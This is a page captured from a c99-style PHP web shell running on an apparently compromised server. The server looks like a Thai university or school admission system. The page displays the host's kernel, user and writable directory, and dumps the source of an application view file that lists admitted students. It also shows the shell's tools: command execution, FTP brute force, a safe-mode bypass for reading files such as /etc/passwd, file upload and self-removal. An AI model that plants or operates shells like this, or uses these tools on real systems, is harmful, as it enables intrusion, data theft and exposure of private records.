!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showRealStdAd.php (2.78 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ini_set
("memory_limit"$this->config->item('rg_memory_limit'));
set_time_limit(0);
?>
<table width="100%">
<?php echo form_open($this->config->item("rg_folder")."import/processAddRealStdAd", array("name" => "myform""id" => "myform"));?>
    <tr>
        <td align="center"><span class="h error">นำเข้านักเรียนที่มีสิทธิ์เข้าศึกษาจากระบบ Admision</span></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="headCol">
            <tr>
                <th colspan="6">รายชื่อนักเรียนที่มีสิทธิ์เข้าศึกษาจากระบบ Admission ปีการศึกษา <?php echo $acY_R;?><br />
                <?php echo $cfgName;?></th>
            </tr>
            <tr>
                <th class="seqCol">ลำดับที่</th>
                <th>ชื่อ - นามสกุล</th>
                <th>โควตา</th>
                <th>หลักสูตรจากระบบ Admission</th>
                <th class="amtCol">สถานะเข้าศึกษา</th>
                <th class="amtCol">รอบการรับสมัคร</th>
            </tr>
<?php
$i 
0;
if(isset(
$std)) {
    foreach(
$std as $key => $val) {
        if(
$val->app_idcard) {            // ตัดหัวท้ายออก
            
$app_result_status = (strval($val->app_result_status)=='Y') ? 'เข้าศึกษา' 'สละสิทธิ์';
            
$err = (strval($val->app_result_status)=='Y') ? '' 'error';;
            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center"><span class="<?php echo $err;?>"><?php echo $i+1;?></span></td>
                <td class="indent"><span class="<?php echo $err;?>"><?php echo strval($val->pf_name.$val->app_name.' '.$val->app_lname);?></span></td>
                <td class="indent"><span class="<?php echo $err;?>"><?php echo strval($val->qt_name);?></span></td>
                <td class="indent"><span class="<?php echo $err;?>"><?php echo strval($val->crs_name);?></span></td>
                <td align="center"><span class="<?php echo $err;?>"><?php echo $app_result_status;?></span></td>
                <td align="center"><span class="<?php echo $err;?>"><?php echo strval($val->at_name);?></span></td>
            </tr>
<?php
            $i
++;
        }
    }
}
?>
        </table></td>
    </tr>
    <tr>
        <td align="right">รวม <?php echo $i;?> รายการ</td>
    </tr>
    <tr>
        <td align="center"><br />
        <input type="submit" name="add" value="ยืนยันการนำเข้านักเรียนที่มีสิทธิ์เข้าศึกษาจากระบบ Admission" <?php echo ($i==0) ? 'disabled' '';?> />
        <input type="hidden" name="acY_R" id="acY_R" value="<?php echo $acY_R;?>" /></td>
    </tr>
<?php echo form_close();?>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--